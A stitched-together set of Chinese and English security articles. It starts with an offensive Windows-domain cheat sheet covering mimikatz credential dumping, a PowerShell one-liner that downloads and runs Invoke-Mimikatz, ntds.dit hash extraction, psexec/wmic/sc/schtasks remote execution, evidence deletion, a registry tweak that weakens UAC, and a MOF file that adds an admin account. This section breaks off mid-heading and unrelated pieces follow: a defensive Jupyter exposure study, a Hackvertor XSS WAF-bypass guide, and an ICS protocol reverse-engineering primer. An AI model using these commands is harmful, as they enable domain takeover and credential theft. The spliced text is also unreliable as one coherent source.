域用户hash抓取 mimikatz 只能抓取登陆过的用户hash，无法抓取所有用户,需要免杀 1、本机测试直接获取内存中的明文密码
privilege::debug
sekurlsa::logonpasswords
[
2、非交互式抓明文密码(webshell中)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" > pssword.txt
3、powershell加载mimikatz抓取密码
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
4、ProcDump + Mimikatz本地分析 文件会比较大，低效，但是安全(绕过杀软)
ps:mimikatz的平台（platform）要与进行dump的系统(source dump)兼容(比如dowm了08的,本地就要用08系统来分析)
远程：
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
本地：
sekurlsa::minidump lsass.dump.dmp
sekurlsa::logonpasswords full
[
##### ntds.dit的导出+QuarkPwDump读取分析 无法抓取所有用户,需要免杀
这个方法分为两步： 第一步是利用工具导出ntds.dit 第二步是利用QuarkPwDump去分析hash
1、ntds.dit的导出
1. ntdsutil win2008开始DC中自带的工具
> a.交互式
>
>
> snapshot
> activate instance ntds
> create
> mount xxx
[
> 做完后unmount然后需要再delet一下
[
> b.非交互
>
>
> ntdsutil snapshot "activate instance ntds" create quit quit
> ntdsutil snapshot "mount {GUID}" quit quit
> copy MOUNT_POINT\windows\ntds\ntds.dit c:\temp\ntds.dit
> ntdsutil snapshot "unmount {GUID}" "delete {GUID}" quit quit
[
1. vshadow 微软的卷影拷贝工具
>
> vshadow.exe -exec=%ComSpec% C:
>
> 其中%ComSpec%是cmd的绝对路径,它在建立卷影后会启动一个程序,只有这个程序才能卷影进行操作,其他不能,比如这里就是用cmd.exe来的
> 最后exit一下
[
2、QuarkPwDump分析 <https://github.com/quarkslab/quarkspwdump>
1. 在线提取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit
1. 离线提取 需要两个文件 ntds.dit 和 system.hiv 其中system.hiv可通过`reg save hklm\system system.hiv`获取
QuarkPwDump.exe --dump-hash-domain --with-history --ntds-file c:\ntds.dit --system-file c:\system.hiv
[
3、实战中hash导出流程
> 1.建立ipc$连接 `net use \\DC1\c$ password /user:username` 2.复制文件到DC `copy .\*
> \\DC1\windows\tasks` 3.sc建立远程服务启动程序 `sc \\DC1 create backupntds binPath=
> "cmd /c start c:\windows\tasks\shadowcopy.bat" type= share start= auto
> error= ignore DisplayName= BackupNTDS` 4.启动服务 `sc \\DC1 start backupntds`
> 5.删除服务 `sc \\DC1 delete backupntds` 6.讲hash转移到本地 `move
> \\DC1\c$\windows\tasks\hash.txt .` 7.删除记录文件 `del
> \\DC1\c$\windows\tasks\ntds.dit \\DC1\c$\windows\tasks\QuarksPwDump.exe
> \\DC1\c$\windows\tasks\shadowcopy.bat \\DC1\c$\windows\tasks\vshadow.exe`
[
注意的两点是： a.WORK_PATH和你拷贝的地方要相同
[
b.附件中的QuarkPwDump在win08上面运行报错,另外修改版可以,所以实战前还是要测试一下
##### vssown.vbs + libesedb + NtdsXtract
上面的QuarkPwDump是在win上面分析ntds.dit,这个是linux上面的离线分析
优点是能获取全部的用户,不用免杀,但是数据特别大,效率低,另外用vssown.vbs复制出来的ntds.dit数据库无法使用QuarksPwDump.exe读取
hash导出：
<https://raw.githubusercontent.com/borigue/ptscripts/master/windows/vssown.vbs>
最后需要copy出system和ntds.dit两个文件
c:\windows\system32\config\system
c:\windows\ntds\ntds.dit
[
[
记得一定要delete快照！！！
cscript vssown.vbs /delete *
本地环境搭建+分析：
libesedb的搭建:
wget https://github.com/libyal/libesedb/releases/download/20151213/libesedb-experimental-20151213.tar.gz
tar zxvf libesedb-experimental-20151213.tar.gz
cd libesedb-20151213/
./configure
make
cd esedbtools/
(需要把刚刚vbs脱下来的ntds.dit放到kali)
./esedbexport ./ntds.dit
mv ntds.dit.export/ ../../
ntdsxtract工具的安装:
wget http://www.ntdsxtract.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip
unzip ntdsxtract_v1_0.zip
cd NTDSXtract 1.0/
(需要把刚刚vbs脱下来的SYSTEM放到/root/SYSTEM)
python dsusers.py ../ntds.dit.export/datatable.3 ../ntds.dit.export/link_table.5 --passwordhashes '/root/SYSTEM'
[
##### ntdsdump laterain的推荐：<http://z-cg.com/post/ntds_dit_pwd_dumper.html>
是zcgonvh大牛根据quarkspwdump修改的，=。=，没找到和QuarkPwDump那个修改版的区别
获取ntds.dit和system.hiv之后(不用利用那个vbs导出,好像并不能分析出来)
[
##### 利用powershell(DSInternals)分析hash 查看powershell版本：
$PSVersionTable.PSVersion
看第一个Major
或者
Get-Host | Select-Object Version
Windows Server 2008 R2默认环境下PowerShell版本2.0，应该升级到3.0版本以上,需要.NET Framework 4.0
需要文件：
ntds.dit(vshadow获取)
system(reg获取)
执行命令：
允许执行脚本：
Set-ExecutionPolicy Unrestricted
导入模块(测试是win2012_powershell ver4.0)：
Import-Module .\DSInternals
(powershell ver5.0)
Install-Module DSInternals
分析hash,并导出到当前目录的hash.txt文件中
1、$key = Get-BootKey -SystemHivePath 'C:\Users\administrator\Desktop\SYSTEM'
2、Get-ADDBAccount -All -DBPath 'C:\Users\administrator\Desktop\ntds.dit' -BootKey $key | Out-File hash.txt
[
这个只是离线分析了ntds.dit文件,其实也可以在线操作,=。=,不过感觉实战中遇到的会比较少,毕竟现在主流是win08为域控(以后这个倒不失为一个好方法)
更多详情参考三好学生大牛的文章：<http://drops.wooyun.org/tips/10181>
* * *
### 远程连接&&执行程序at&schtasks 需要开启Task Scheduler服务 经典流程：
1、进行一个连接
net use \\10.10.24.44\ipc$ 密码 /user:账号
2、复制本地文件到10.10.24.44的share共享目录(一般是放入admin$这个共享地方(也就是c:\winnt\system32\)，或者c$，d$)
copy 4.bat \\10.10.24.44\share
3、查看10.10.24.44服务器的时间
net time \\10.10.24.44
4、添加at任务执行
at \\10.10.24.44 6:21 \\10.10.24.44\share\4.bat
这个6:21指的是上午的时间，如果想添加下午的，则是6.21PM
5、查看添加的所有at任务列表(如果执行了得，就不会显示)
at \\10.10.24.44
其他命令：
查看所有连接
net use
删除连接
net use \\10.10.24.44\share /del
映射共享磁盘到本地
net use z: \\IP\c$ "密码" /user:"用户名"
删除共享映射
net use c: /del
net use * /del
**at过去后如果找不到网络路径,则判断是目标主机已禁用Task Scheduler服务**
##### psexec 第一次运行会弹框,输入–accepteula这个参数就可以绕过
psexec.exe \\ip –accepteula -u username -p password program.exe
[
另外两个比较重要的参数
-c <[路径]文件名>:拷贝文件到远程机器并运行（注意：运行结束后文件会自动删除）
-d 不等待程序执行完就返回
比如想上传一个本地的getpass到你远程连接的服务器上去:
Psexec.exe \\ip –u user –p pass –c c:\getpass.exe –d
另外学习一波pstools的一些运用： <http://blog.csdn.net/sysprogram/article/details/13001781>
**如果出现找不到网络名，判断目标主机已禁用ADMIN$共享**
##### wmic net use后：
copy 1.bat \\host\c$\windows\temp\1.bat
wmic /node:ip /user:test /password:testtest process call create c:\windows\temp\1.bat
[
ps: 如果出现User credentials cannot be used for local
connections,应该是调用了calc.exe权限不够的问题 如果出现Description =
无法启动服务，原因可能是已被禁用或与其相关联的设备没有启动，判断WMI服务被禁用
##### wmiexec.vbs
1、半交互模式
cscript.exe //nologo wmiexec.vbs /shell ip username password
2、单命令执行
cscript.exe wmiexec.vbs /cmd ip username password "command"
3、wce_hash注入
如果抓取的LM hash是AAD3开头的，或者是No Password之类的，就用32个0代替LM hash
wce -s hash
cscript.exe //nologo wmiexec.vbs /shell ip
[
wmi只是创建进程,没办法去判断一个进程是否执行完成(比如ping),这样就导致wmi.dll删除不成,下一次又是被占用,这时候修改一下vbs里面的名字就好：`Const
FileName = "wmi1.dll"`,也可以加入`-persist`参数(后台运行)
另外有一个uac问题 **非域用户** 登陆到win08和2012中,只有administrator可以登陆成功,其他管理员账号会出现WMIEXEC
ERROR: Access is denied 需要在win08或者2012上面执行,然后才可以连接:
cmd /c reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
[
想更详细了解的可以看看：<https://www.91ri.org/12908.html>
##### smbexec 这个可以根据其他共享(c$、ipc$)来获取一个cmd
先把execserver.exe复制到目标的windows目录下,然后本机执行
test.exe ip user pass command sharename
[
##### powershell remoting 感觉实质上还是操作wmi实现的一个执行程序
<https://github.com/samratashok/nishang/blob/5da8e915fcd56fc76fc16110083948e106486af0/Shells/Invoke-PowerShellWmi.ps1>
##### SC创建服务执行 一定要注意的是binpath这些设置的后面是有一个 **空格** 的
1、系统权限(其中test为服务名)
sc \\DC1 create test binpath= c:\cmd.exe
sc \\DC1 start test
sc \\DC1 delete test
2.指定用户权限启动
sc \\DC1 create test binpath = "c:\1.exe" obj= "centoso\administrator" passwrod= test
sc \\DC1 start test
##### schtasks schtasks计划任务远程运行
命令原型：
schtasks /create /tn TaskName /tr TaskRun /sc schedule [/mo modifier] [/d day] [/m month[,month...] [/i IdleTime] [/st StartTime] [/sd StartDate] [/ed EndDate] [/s computer [/u [domain\]user /p password]] [/ru {[Domain\]User | "System"} [/rp Password]] /?
For example:
schtasks /create /tn foobar /tr c:\windows\temp\foobar.exe /sc once /st 00:00 /S host /RU System
schtasks /run /tn foobar /S host
schtasks /F /delete /tn foobar /S host
验证失败：win03连到08,xp连到08,xp连到03(但是并没有真正的成功执行,不知道是不是有姿势错了)
[
更多用法：<http://www.feiesoft.com/windows/cmd/schtasks.htm>
##### SMB+MOF || DLL Hijacks
其实这个思路一般都有用到的,比如在mof提权(上传mof文件到c:/windows/system32/wbem/mof/mof.mof)中,lpk_dll劫持
不过测试添加账号成功...执行文件缺失败了
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
Name = "filtP2";
Query = "Select * From __InstanceModificationEvent "
"Where TargetInstance Isa \"Win32_LocalTime\" "
"And TargetInstance.Second = 5";
QueryLanguage = "WQL";
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = "consPCSV2";
ScriptingEngine = "JScript";
ScriptText =
"var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user admin adminaz1 /add\")";
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};
##### PTH + compmgmt.msc
[ | 社区文章 |
**Author: Knownsec 404 Team
中文版：<https://paper.seebug.org/2057/>**
### 1\. Abstract
In the process of using Jupyter Notebook and JupyterLab, some users lack
security awareness and do not enable the authentication function, so that any
user can directly access their own Jupyter server and view the code and
documents on their server.
We use the ZoomEye cyberspace search engine to find those Jupyter servers on
the Internet that do not enable authentication through specific search
keywords. The leaked code and documents on these servers, if exploited by
criminals, may cause data leakage and asset loss.
We recommend that all Jupyter users follow the official security
recommendations when starting the Jupyter service, and set it to log in
through token or password.
### 2\. Overview
ZoomEye [1] is a cyberspace search engine. Through the global deployment of
detection nodes, it conducts uninterrupted in-depth detection of global
Internet exposed assets, builds Internet security basic situation mapping
maps, and provides comprehensive asset basic data for security research.
Jupyter Notebook [2] is a program that opens in the form of a web page. You
can directly write and run code on the web page, and the running result of the
code will also be displayed directly under the code block. If you need to
write an instruction document during the programming process, you can write it
directly on the same page, which is convenient for explanation [3]. It is one
of the most familiar and commonly used tool for data scientists.
JupyterLab [4] is an interactive development environment, which is the next
generation of Jupyter Notebook. You can use it to write Notebook, operate
terminal, edit MarkDown text, open interactive mode, view csv files and
pictures, etc. It can be said that JupyterLab is a more mainstream development
environment for developers in the next stage [5].
In this article, we describe how to use ZoomEye to find Jupyter servers
without identity verification enabled, and access their code and documentation
through a web browser.
### 3\. Installation and startup of Jupyter
#### 3.1 Jupyter Notebook
In this chapter, we introduce how to install, startup normally, startup
Jupyter Notebook without authentication, and the effect of the corresponding
web browsing access.
For the installation method of Jupyter Notebook, refer to its official website
[6]. You only need to enter a sentence command on the command line, which is
simple and convenient.
pip install notebook
The normal way to startup Jupyter Notebook is to enter a one-sentence command.
By default, a web service is opened on port 8888 of localhost, and a token
value for user authentication is generated.
jupyter notebook
The token value generated when starting the Jupyter Notebook service
At this point, when you enter `http://localhost:8888` in your web browser to
access Jupyter Notebook, the page will prompt you to enter a password or
token.
① When accessing the service, the page prompts to enter a password or token
We enter the token value obtained when the command line is started on the page
to pass the authentication and use the product functions of Jupyter Notebook.
Some users need to access their Jupyter Notebook service through the Internet,
and in order to avoid the trouble of entering a password or token, they will
use the following command to expose the Jupyter Notebook service to the
Internet IP without enabling authentication.
jupyter notebook --ip="*" --NotebookApp.token="" --NotebookApp.password=""
At this time, any user who knows the Internet IP of the Jupyter Notebook
service can enter `"http://*.*.*.*:8888"` in the web browser to access the
Jupyter Notebook service without authentication. Review the code and files on
the server. **Note that in this case, the title of the page reads: "Home Page
- Select or create a notebook".**
① The content of the page title is: Home Page - Select or create a notebook
#### 3.2 JupyterLab
In this chapter, we introduce how to install, startup JupyterLab normally,
startup JupyterLab without authentication, and the effect of the corresponding
web browsing access.
For the installation method of JupyterLab, refer to its official website [7].
You only need to enter a sentence command on the command line, which is simple
and convenient.
pip install jupyterlab
The normal way to startup JupyterLab is to enter a command. By default, a web
service is opened on port 8888 of localhost, and a token value for user
authentication is generated.
jupyter-lab
① The generated token value when starting the JupyterLab service
At this point, when you enter `http://localhost:8888` in the web browser to
access Jupyter Lab, the page will prompt you to enter a password or token.
① When accessing the service, the page prompts to enter a password or token
We enter the token value obtained when the command line is started on the page
to pass the authentication and use the product functions of JupyterLab.
The content of the page title is: JupyterLab
Some users need to access their JupyterLab service through the Internet, and
in order to avoid the trouble of entering a password or token, they will
expose the JupyterLab service to the Internet IP through the following
command, and do not enable authentication.
jupyter-lab --ip="*" --NotebookApp.token="" --NotebookApp.password=""
At this time, any user who knows the Internet IP of the JupyterLab service can
enter "http:// _._. _._ :8888" in the web browser to access the JupyterLab
service without authentication, and can directly view the server code and
documentation on. **Note that the content of the page title in this case is:
"JupyterLab".**
① The content of the page title is: JupyterLab
### 4\. Find Jupyter servers without identity verification enabled
As mentioned in the previous section, the title content of the Jupyter
Notebook service without authentication is "Home Page - Select or create a
notebook", and the title content of the JupyterLab service without
authentication is "JupyterLab".
We used the following keywords to search on ZoomEye, and found the Jupyter
Notebook server IP address and port that can be directly viewed and used
without authentication, with a total of 1180 results.
title:"Home Page - Select or create a notebook"
① Search keyword in ZoomEye：title:"Home Page - Select or create a notebook"
② Get 1180 results
We used the following keywords to search on ZoomEye, and found the JupyterLab
server IP address and port that can be directly viewed and used without
authentication, with a total of 1597 results.
title:"JupyterLab"
① Search keyword in ZoomEye：title:"JupyterLab"
② Get 1597 results
### 5\. Hazards of Jupyter Serving without identity verification enabled
When the user builds the Jupyter service, the identity verification is not
enabled. Although it is convenient for daily use and does not need to enter a
password; If sensitive information such as name/password, API key/secret is
used by criminals, it may cause data leakage and asset loss.
Example 1:
As shown in the figure below, the code in the Jupyter server leaked: the key
and secret of the user API of the bitFlyer cryptocurrency exchange, the
username and password of the Gmail mailbox.
Criminals can use the key and secret of the bitFlyer cryptocurrency exchange
API to create transactions and cancel transactions on the exchange, which may
cause asset losses; use the username and password of Gmail mailboxes to log in
to Gmail mailboxes, which may cause privacy Data leakage.
① Leaked key and secret of bitFlyer cryptocurrency exchange API
② Leaked Gmail username and password
Example 2:
As shown in the figure below, the code in the Jupyter server leaked: the
ACCESS KEY ID and SECRET ACCESS KEY of the Amazon AWS account.
Criminals can use the ACCESS KEY ID and SECRET ACCESS KEY of the Amazon AWS
account to obtain the account permissions of Amazon AWS, upload files to
Amazon S3 cloud storage space, and even create new cloud servers on Amazon
AWS.
① Leaked ACCESS KEY ID of Amazon AWS account
② Leaked SECRET ACCESS KEY of Amazon AWS account
### 6\. Conclusion
When using Jupyter, try not to expose its web services on the Internet, but
open them for use in the local area network to avoid being accessed by
unrelated people.
If there is a need to expose Jupyter's web services to the Internet, you must
set up a token or password login instead of disabling authentication for
convenience. For specific operations, please refer to Jupyter's official
security advice blog: Please don't disable authentication in Jupyter servers
[8].
### 7\. Reference
[1] ZoomEye cyberspace search engine
<https://www.zoomeye.org>
[2] Jupyter Notebook
<https://jupyter.org>
[3] Jupyter Notebook introduction, installation and usage tutorial
<https://zhuanlan.zhihu.com/p/33105153>
[4] JupyterLab
<https://jupyter.org>
[5] Introduction to JupyterLab and common operations
<https://support.huaweicloud.com/engineers-modelarts/modelarts_23_0209.html>
[6] Installation method of Jupyter Notebook
<https://jupyter.org/install>
[7] Istallation method of JupyterLab
<https://jupyter.org/install>
[8] Please don’t disable authentication in Jupyter servers
<https://blog.jupyter.org/please-dont-disable-authentication-in-jupyter-servers-dd197206e7f6>
* * * | 社区文章 |
翻译自 PortSwigger Web Security Blog - [Bypassing WAFs and cracking XOR with
Hackvertor | Blog](https://portswigger.net/blog/bypassing-wafs-and-cracking-xor-with-hackvertor)
原作者：Gareth Heyes [\u2028\u2029 (@garethheyes) |
Twitter](https://twitter.com/garethheyes)
### 简介
BurpSuite插件[Hackvertor](https://portswigger.net/bappstore/65033cbd2c344fbabe57ac060b5dd100)是个基于标签的转换工具。
您可以通过Burp Extender工具中的BApp Store直接安装。
### 特点
* 支持各种转义和编码，包括：HTML5实体（HTML5 entities），十六进制，八进制，unicode，url编码等。
* 使用类似XML的标签来指定使用的编码/转换类型。
* 可以使用嵌套多个标签来进行编码转换。
* 标签也可以有参数，像函数一样运行。
* 它具有自动解码(auto decode)功能，可以猜测所需的转换类型并自动执行多次解码，返回最终结果。
* 可开启多个tab窗口(像repeater一样可开启多个tab)
* 字符集转换
### 基本功能 - 编码转换
我最近一直努力开发的Hackvertor，具有基于标签的转换功能，这样的设计比Burp的内置的Decoder功能强大得多。
因为基于标记的转换，可以实现多层转换：内部的标签先完成第一次转换，并将结果作为输入，交给外部标签做第二次转换，以此类推。
例1 进行base64编码：
`<@base64_0>xz<@/base64_0>`
例2 进行多级编码(multiple levels of encoding)：
`<@base64_1><@hex_0(" ")>xz<@/hex_0><@/base64_1>`
先使用`hex`标签将字符串转换为十六进制，然后使用`base64`标签对其进行base64编码。
注意`hex`标签有一个分隔符参数，此处使用空格``分隔每个 十六进制字符串（hex string）。
例3 选中文本后快捷操作：
先选中需要编码的字符，再点击编码方式如`hex`
### 应用 - 编码payload
1.在Repeater/Intruder启动功能
2.在Repeater中
如自己写的XSSpayload为`<img/src/onerror=alert(1)>`
选中`alert(1)`并进行如图设置：
右键Hackvertor - XSS - `throw_eval`
在Burp中看到请求中的payload变为`<img/src/onerror=<@throw_eval_1>alert(1)<@/throw_eval_1>>`
此时发出的请求中的payload是经过编码的。
可从服务器端看到实际发送的请求。
`GET /<img/src/onerror=window.onerror=eval;throw'=alert\x281\x29'> HTTP/1.1`
可看到payload为
`<img/src/onerror=window.onerror=eval;throw'=alert\x281\x29'>`
原本的`alert(1)`已经被编码成了`alert\x281\x29`
更方便的办法是使用Hackvertor的 `Copy URL`等3个按钮都可看到。
### 应用 - 自动解码
自动解码器是一种标签，可自动尝试确定字符串的编码方式并对其进行多次解码。
自动解码的前提:判断字符串是否为有意义的英文。
作者Google发现了一个很棒的方法[Practical
Cryptography](http://practicalcryptography.com/cryptanalysis/text-characterisation/quadgrams/)，并用Java重写了代码并在Hackvertor中实现了这个方法。
下一步是改进自动解码器。
得到可能的英文：添加了一个简单的正则表达式：用于查找 a-z字符，后跟空格，逗号或连字符
自动枚举并判断:然后循环25次以枚举被rotN编码的字符串，并计算每个“结果”的分数，如果某个结果满足`分数 > 平均分数 + 20`
则它就是rotN自动解码的结果。
例4 Hackvertor自动解码rotN(rot1 rot2 ...)：
<@auto_decode_0>01010111 01101101 00110101 01101000 01100011 01001000 01010110 01111001 01011010 01101101 01100100 01111001 01011010 01010011 01000010 01000111 01100101 01101101 00110101 00110101 01100101 01010011 00110001 01000111 01100011 01000111 00110101 00110101 01100011 01101001 01000010 01010011 01100001 00110010 01001110 01111001 01011010 01011000 01011010 00110110 01100011 01101101 01000110 01101110 01100010 01101110 01101011 01100111 01010111 01101101 00110101 01110111 01100100 01011000 01011010 01101000 01100011 01100111 00111101 00111101<@/auto_decode_0>
看到输出结果为：
<@ascii2bin_21><@base64_22><@rotN_23(13)>Manchester Small-Scale Experimental Machine<@/rotN_23><@/base64_22><@/ascii2bin_21>
可以看到解码过程中的`rotN`自动枚举并成功发现了英文，得到了所需的文本信息`Manchester Small-Scale Experimental
Machine`
### 应用 - 解密XOR重复密钥加密
作者从[Practical
Cryptography](http://practicalcryptography.com/)学习了密码学中的XOR、频率分析等知识。
解密原理：
1.确定密钥长度：使用频率分析方法，为每个可能的key执行频率分析，作者使用`30`作为最大的密钥长度，进行猜测。作者花了很多时间来尝试提高关键猜测的准确性并重写代码很多次。大部分代码基于此项目[hellman/xortool:
A tool to analyze multi-byte xor cipher](https://github.com/hellman/xortool)
2.得到可能的英文：循环遍历密文和每个字符，得到每个转换的结果
3.判断出真正的英文数据：计算这些结果的“分数”，得到正确的解密结果（对于非常小的密文，XOR解密将失败，我认为这是因为没有足够的密文来执行频率分析，无法确定解密的每个字符的密钥长度和分数。如果你有改进方法，请提交pull请求）
例5 解密XOR重复密钥加密（Decrypting XOR repeating key encryption）：
<@auto_decode_8>1C090C1E05041C101C523D296324212F000D020C04061D001C216F36383668231619064521010606376F3724732E080D0F561617171A003B3B3A6B3630110C18031717074F1037292C39366808174C0545061B00523E2E372E7D68231A4B03161B1A0852313A373F3A26064E0E120217541C1133212D223D2F41170E150D1C1B031D35366F6B2A27144308170B521D0B173C3B2A2D2A68150B0E5613170616523E2E372E203C41151E1A0B17060E103B232A3F3A2D124D4B391000541D17212A22393020041118560300111E07372137272A68140D08191317064F10202E2D2F732604144B00101E1A0A00332D2A273A3C1843081A0401070A01723B2B2A276823161906451B074F063A2A632D3A3A12174B020A52060A023D3D3765<@/auto_decode_8>
看到输出结果为：
<@ascii2hex_24("")><@xor_25("HackvertorROCKS")>Thousands of organizations use Burp Suite to find security exposures before it's too late. By using cutting-edge scanning technology, you can identify the very latest vulnerabilities. Our researchers frequently uncover brand new vulnerability classes that Burp is the first to report.<@/xor_25><@/ascii2hex_24>
得到了解密结果:
Thousands of organizations use Burp Suite to find security exposures before it's too late. By using cutting-edge scanning technology, you can identify the very latest vulnerabilities. Our researchers frequently uncover brand new vulnerability classes that Burp is the first to report.
重复的`XOR`加密，这种办法经常被使用，有了这个功能即可发现一些web程序的“加密”。
### 总结
Hackvertor的设计确实比Burp的内置的Decoder功能强大得多。 | 社区文章 |
# 工控安全入门（九）——工控协议逆向初探
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在工控领域，我们会遇到许多协议，为了进行安全研究，经常需要对协议的具体内容进行探索，今天我们就来聊聊关于工控协议逆向的问题。
在接下来的几篇文章中，我会简单介绍一下常用的协议逆向方法并配合一些实战，当然，从未知到已知的探索过程不仅仅需要代码上的实践，还需要数学上的分析与建模，所以在这几篇文章中不仅会有工控、协议的知识，还有大量的数学内容，因为我本身不是搞学术研究的，所以一些东西也只是略微了解而已，如果大佬们发现有什么错误请在评论中指出，我一定仔细查看。还要感谢[@bitpeach](https://github.com/bitpeach
"@bitpeach")大佬的文章让我了解到了很多知识。
按照分类，工控协议一般可以分为以下两种：
* 公开协议，这里的公开主要是说它是公开发表并且无版权要求的，我们介绍的modbus就属于这一种。
* 私有协议，顾名思义就是厂家自有的，为正式公开的，我们介绍过的西门子S7comm就属于这一种。
但不论是公开协议还是私有协议往往都具有一定的未知性。像是modbus，虽说大部分信息我们都是了解的，但是还有很多function
code是厂商自己偷偷用的，像是施耐德我们之前就提过，有自己的0x5a来实现一堆高权限操作；S7comm这类的私有协议就更不用说了，要不是前辈们的逆向工程，我们其实是对协议内容一无所知的。我们今天要聊的就是对于这类未知的逆向过程。
对于协议的逆向我们也是分成两类方法：
* 基于网络轨迹的逆向，即对抓取的流量包进行分析，利用各类数学分析、推理，对数据进行切分、关系预测、生成状态机等等，从而推断出协议的部分内容、进行fuzz等操作。
* 基于接收端程序的逆向，即对协议数据的接收端程序进行逆向分析，从而得到协议的内容，这也是现在常用的方法，像是最近S7commPlus的逆向就是借助分析上位机的OMSp_core_managed.dll组件来实现的。
当然，这两种逆向方式都需要结合相应的设备进行调试来完成，也完全可以两种方式结合，先基于网络轨迹大致判断协议格式、关系，再通过逆向程序加以完善。这篇文章我们就首先看看基于网络轨迹的逆向。
## 基于网络轨迹的逆向
考虑到我们为入门教程，所以我们选用的数据包并不是真正的”未知“协议，我们使用系列第一篇文章的modbus数据包来进行分析，我们将其TCP以上均视为未知部分
如图的包，我们将modbus部分的数据视作
x00x00x00x00x00x04x00Zx00x02
现在看上去还是毫无头绪？没关系，我们一点点来
### 确定协议字段的基本知识
确定协议字段说白了就是根据流量包中的大量流量对比，”猜“出来哪些数据应该是一个字段，这个过程中涉及到协议分析算法，而这些算法又是由一些重要的数学模型、算法构成的，我选取了《Network
Protocol Analysis using Bioinformatics
Algorithms》、《基于网络协议逆向分析的远程控制木马漏洞挖掘》两篇论文中的某些部分进行简要说明，来大致了解一下这部分理论知识（因为我们是要做实际分析，所以涉及到研究部分的算法等理论我就不再细化了）。
LD（LevenShtein
Distance），假设我们有A、B两个字符串，A经过插入、删除、替换字符的最短过程变为B，经过的步骤表示两个字符串的差异。如：
A = "modbus"
B = "modicon"
显然我们需要把子串”bus“换为”ico“，然后添加字符”n“，所以LD(A,B)=4，python实现代码如下：
def normal_leven(str1, str2):
len_str1 = len(str1) + 1
len_str2 = len(str2) + 1
# 创建矩阵
matrix = [0 for n in range(len_str1 * len_str2)]
# init x轴
for i in range(len_str1):
matrix[i] = i
# init y轴
for j in range(0, len(matrix), len_str1):
if j % len_str1 == 0:
matrix[j] = j // len_str1
for i in range(1, len_str1):
for j in range(1, len_str2):
if str1[i - 1] == str2[j - 1]:
cost = 0
else:
cost = 1
# 若ai=bj，则LD(i,j)=LD(i-1,j-1) 取矩阵对角的值
# #若ai≠bj，则LD(i,j)=Min(LD(i-1,j-1),LD(i-1,j),LD(i,j-1))+1 在对角，左边，上边，取最小值+1
matrix[j * len_str1 + i] = min(matrix[(j - 1) * len_str1 + i] + 1, matrix[j * len_str1 + (i - 1)] + 1,matrix[(j - 1) * len_str1 + (i - 1)] + cost)
return matrix[-1]
str1 = ''
str2 = ''
a = normal_leven(str1, str2)
print(1-a/max(len(str1), len(str2)))
print(type(1-a/max(len(str1), len(str2)))
LCS（Longest common
subsequence），这个和大家理解的两个字符串求最大子序列有些不同，这里的字符并不一定要连续出现。如：A与B的最长子序列为”mod“，所以LCS(A,B)=3，而我们将A变为”m
o d b u
s“，LCS(A,B)仍然为3，所以，如果LCS(X,Y)=0，那么立即推，X、Y没有任何一个字符相同。在论文中包括了GSA（全局序列对比）与LSA（局部序列对比），GSA用在对协议域的理解上，而LCS则是对相似序列进行聚类。编程中，我们可以使用Needleman/Wunsch算法来求解。我们还是以上面的两个字符串为例
| | m | o | d | b | u | s
---|---|---|---|---|---|---|---
| 0 | 0 | 0 | 0 | 0 | 0 | 0
m | 0 | | | | | |
o | 0 | | | | | |
d | 0 | | | | | |
i | 0 | | | | | |
c | 0 | | | | | |
o | 0 | | | | | |
n | 0 | | | | |
首先我们将矩阵初始化，即上述表格，接着按照公式进行填充
若ai=bj，则LCS(i,j)=LCS(i-1,j-1)+1
若ai≠bj，则LCS(i,j)=Max(LCS(i-1,j-1),LCS(i-1,j),LCS(i,j-1))
该公式其实非常简单，如果行列字符一样，则填充的值为它左上角的值加1，如果不一样就是左上角、上边、左边的最大值。按照这个标准我们从第一行开始填，得到如下结果
| | m | o | d | b | u | s
---|---|---|---|---|---|---|---
| 0 | 0 | 0 | 0 | 0 | 0 | 0
m | 0 | 1 | 1 | 1 | 1 | 1 | 1
o | 0 | 1 | 2 | 2 | 2 | 2 | 2
d | 0 | 1 | 2 | 3 | 3 | 3 | 3
i | 0 | 1 | 2 | 3 | 3 | 3 | 3
c | 0 | 1 | 2 | 3 | 3 | 3 | 3
o | 0 | 1 | 2 | 3 | 3 | 3 | 3
n | 0 | 1 | 2 | 3 | 3 | 3 | 3
然后从右下角进行回溯操作，若ai=bj，则走左上角；若ai≠bj，则到左上角、上边、左边中值最大的单元格，相同的话优先级按照左上角、上边、左边的顺序，直到左上角为止。最终按照如下规则写出表达式（_表示插入字符或者是删除字符操作）
* 若走左上角单元格，A+=ai，B+=bi
* 若走到上边单元格，A+=ai，B+=_
* 若走到左边单元格，A+=_，B+=bi
多序列对比，实际上是LCS的扩展，采用引导树、非加权成对群算术平均法等来进行，非加权成对群算术平均法即UPGMA算法，这是一种聚类算法，在我们前面已经得到的距离的基础上进行操作，将距离最小的两个节点进行聚合，然后再次计算新的节点间的距离，最终生成演化树。
演化树（Phylogenetic
tree），在多序列对比中生成的树，其实就像是生物进化图那样，由根衍生出一个一个节点，如图所示为DNA系统的演化树，我们所要建立的演化树是关于协议的数据的，通过这种方式来寻找协议流量中的相似部分。
建树的方法主要有两大类，一类是基于距离的，一类的基于character的。我们上面提到的就是基于距离的建树方式，一般来讲，基于距离的方法将数据抽象为距离，从而有了较快的处理速度，但是其抽象过程中会有信息量的损失；而基于character的方法是在一个已有的模型上建立的，所以需要有一个靠谱的模型，但好处就是我们的信息不会丢失。
广义后缀树（Generalized Suffix
Tree），用来实现求解最大公共子串、匹配字符串、找重复串等等，这里说的最大公共子串就是我们平时理解的：连续的、相同的字符串。比如”modbus“和”m
od i c o n“，那么这俩的最大公共子串就是od而不是上面的”mod“。该技术常用于病毒的特征码提取。下面举个栗子来解释一下：
假设我们现在有modbus、modicon两个字符串,对于modbus，后缀有：
s
us
bus
dbus
obus
modbus
